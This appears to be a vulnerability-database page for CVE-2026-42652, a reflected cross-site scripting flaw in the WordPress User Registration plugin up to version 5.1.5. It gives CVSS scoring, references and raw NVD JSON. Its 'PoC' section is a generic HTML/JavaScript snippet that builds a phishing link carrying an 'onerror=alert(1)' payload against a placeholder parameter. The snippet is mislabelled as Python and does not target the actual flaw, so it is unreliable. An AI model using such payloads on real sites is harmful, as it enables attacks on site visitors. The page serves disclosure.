CVE-2026-42652

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wpeverest User Registration user-registration allows Reflected XSS.This issue affects User Registration: from n/a through <= 5.1.5.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

User Registration <= 5.1.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for Reflected XSS in User Registration Plugin
Usage: Replace 'target_site' and 'vulnerable_param' based on actual vulnerability context.
-->
<html>
<body>
<script>
// Example payload to demonstrate XSS execution
var payload = '<img src=x onerror=alert(1)>';
var target = 'http://target-site.com/?vulnerable_param=' + encodeURIComponent(payload);

// In a real attack scenario, this URL would be sent to the victim via phishing.
console.log('Malicious Link:', target);

// For demonstration purposes, redirecting to the crafted link:
// window.location.href = target;
</script>
<p>Check console for generated exploit link.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42652
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42652
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42652/
[4] VulDB https://vuldb.com/cve/CVE-2026-42652
[5] https://patchstack.com/database/Wordpress/Plugin/user-registration/vulnerability/wordpress-user-registration-plugin-5-1-5-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42652", "sourceIdentifier": "[email protected]", "published": "2026-04-29T12:16:20.207", "lastModified": "2026-04-29T21:15:41.667", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wpeverest User Registration user-registration allows Reflected XSS.This issue affects User Registration: from n/a through <= 5.1.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/user-registration/vulnerability/wordpress-user-registration-plugin-5-1-5-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}